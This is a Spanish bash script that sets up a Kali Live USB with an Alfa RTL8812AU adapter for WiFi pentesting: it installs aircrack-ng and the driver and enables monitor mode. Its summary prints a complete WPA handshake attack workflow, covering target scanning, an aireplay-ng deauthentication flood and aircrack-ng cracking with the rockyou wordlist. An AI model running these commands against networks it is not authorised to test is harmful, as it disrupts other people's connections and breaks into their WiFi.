#!/bin/bash
#=============================================
# ARRANQUE RAPIDO - KALI LIVE + ALPHA AWUS036ACH
#=============================================
# Ejecutar con: sudo bash arranque_rapido.sh
# Guardar en el USB y ejecutar al arrancar Kali Live
#=============================================

set -e

echo ""
echo "============================================"
echo "  ARRANQUE RAPIDO - PENTESTING WiFi"
echo "  Alpha AWUS036ACH (RTL8812AU)"
echo "============================================"
echo ""

# Colores
ROJO='\033[0;31m'
VERDE='\033[0;36m'
AMARILLO='\033[1;33m'
SIN_COLOR='\033[0m'

# Paso 0: Verificar que somos root
if [ "$EUID" -ne 0 ]; then
  echo -e "${ROJO}[ERROR] Ejecuta con sudo: sudo bash arranque_rapido.sh${SIN_COLOR}"
  exit 1
fi

# Paso 1: Verificar conexion a internet
echo -e "${AMARILLO}[1/6] Verificando internet...${SIN_COLOR}"
if ping -c 1 google.com &> /dev/null; then
  echo -e "${VERDE}  OK - Internet conectado${SIN_COLOR}"
else
  echo -e "${ROJO}  SIN INTERNET - conecta WiFi o cable antes de continuar${SIN_COLOR}"
  echo "  Si no tienes internet, este script no puede instalar paquetes."
  echo "  Pulsa Ctrl+C para salir o Enter para intentar sin internet..."
  read -s
fi

# Paso 2: Actualizar repositorios
echo ""
echo -e "${AMARILLO}[2/6] Actualizando repositorios (apt update)...${SIN_COLOR}"
if ping -c 1 google.com &> /dev/null; then
  apt update -qq
  echo -e "${VERDE}  OK - Repositorios actualizados${SIN_COLOR}"
else
  echo -e "${ROJO}  SALTADO - sin internet${SIN_COLOR}"
fi

# Paso 3: Instalar paquetes necesarios
echo ""
echo -e "${AMARILLO}[3/6] Instalando paquetes necesarios...${SIN_COLOR}"
if ping -c 1 google.com &> /dev/null; then
  apt install -y -qq aircrack-ng realtek-rtl88xxau-dkms wireless-tools iw wpasupplicant 2>/dev/null
  echo -e "${VERDE}  OK - Paquetes instalados${SIN_COLOR}"
else
  echo -e "${ROJO}  SALTADO - sin internet${SIN_COLOR}"
fi

# Paso 4: Verificar la antena
echo ""
echo -e "${AMARILLO}[4/6] Verificando antena Alpha...${SIN_COLOR}"
if lsusb | grep -qi "realtek\|8812\|rtl88"; then
  echo -e "${VERDE}  OK - Alpha AWUS036ACH detectada${SIN_COLOR}"
else
  echo -e "${ROJO}  NO DETECTADA - conecta la antena por USB${SIN_COLOR}"
  echo "  Si ya esta conectada, prueba: sudo reboot"
fi

# Paso 5: Detectar interfaz WiFi
echo ""
echo -e "${AMARILLO}[5/6] Detectando interfaz WiFi...${SIN_COLOR}"
WLAN=""
for iface in wlan0 wlan1 wlan2; do
  if ip link show "$iface" &> /dev/null; then
    WLAN="$iface"
    break
  fi
done

if [ -n "$WLAN" ]; then
  echo -e "${VERDE}  OK - Interfaz encontrada: $WLAN${SIN_COLOR}"
else
  echo -e "${ROJO}  NO SE ENCONTRO interfaz wlan${SIN_COLOR}"
  echo "  Ejecuta manualmente: iwconfig"
  echo "  Si no aparece nada, reinicia con la antena conectada"
fi

# Paso 6: Activar modo monitor
echo ""
echo -e "${AMARILLO}[6/6] Activando modo monitor...${SIN_COLOR}"

if [ -n "$WLAN" ]; then
  # Matar procesos que interfieran
  airmon-ng check kill &> /dev/null

  # Activar modo monitor
  airmon-ng start "$WLAN" &> /dev/null

  # Verificar
  if iwconfig wlan0mon 2>/dev/null | grep -q "Monitor"; then
    echo -e "${VERDE}  OK - Modo monitor activo en wlan0mon${SIN_COLOR}"
    MONIF="wlan0mon"
  elif iwconfig "${WLAN}" 2>/dev/null | grep -q "Monitor"; then
    echo -e "${VERDE}  OK - Modo monitor activo en $WLAN${SIN_COLOR}"
    MONIF="$WLAN"
  else
    echo -e "${AMARILLO}  No se pudo verificar. Comprueba manualmente con: iwconfig${SIN_COLOR}"
    MONIF="wlan0mon"
  fi
else
  echo -e "${ROJO}  SALTADO - sin interfaz WiFi${SIN_COLOR}"
  MONIF=""
fi

# Resumen
echo ""
echo "============================================"
echo "  RESUMEN"
echo "============================================"
if [ -n "$MONIF" ]; then
  echo -e "  Modo monitor: ${VERDE}ACTIVO${SIN_COLOR} ($MONIF)"
  echo ""
  echo "  SIGUIENTE PASO - Escanear redes:"
  echo "    sudo airodump-ng $MONIF"
  echo ""
  echo "  Cuando veas tu red objetivo, captura el handshake:"
  echo "    sudo airodump-ng -c CANAL --bssid MAC -w captura $MONIF"
  echo ""
  echo "  Para forzar handshake (deauth):"
  echo "    sudo aireplay-ng --deauth 5 -a MAC_AP -c MAC_CLI $MONIF"
  echo ""
  echo "  Para crackear:"
  echo "    aircrack-ng -w /usr/share/wordlists/rockyou.txt captura-01.cap"
else
  echo -e "  Modo monitor: ${ROJO}NO ACTIVADO${SIN_COLOR}"
  echo ""
  echo "  Ejecuta manualmente:"
  echo "    sudo airmon-ng check kill"
  echo "    sudo airmon-ng start wlan0"
  echo "    iwconfig wlan0mon"
fi
echo ""
echo "  SALIR del modo monitor cuando termines:"
echo "    sudo airmon-ng stop wlan0mon"
echo "============================================"
echo ""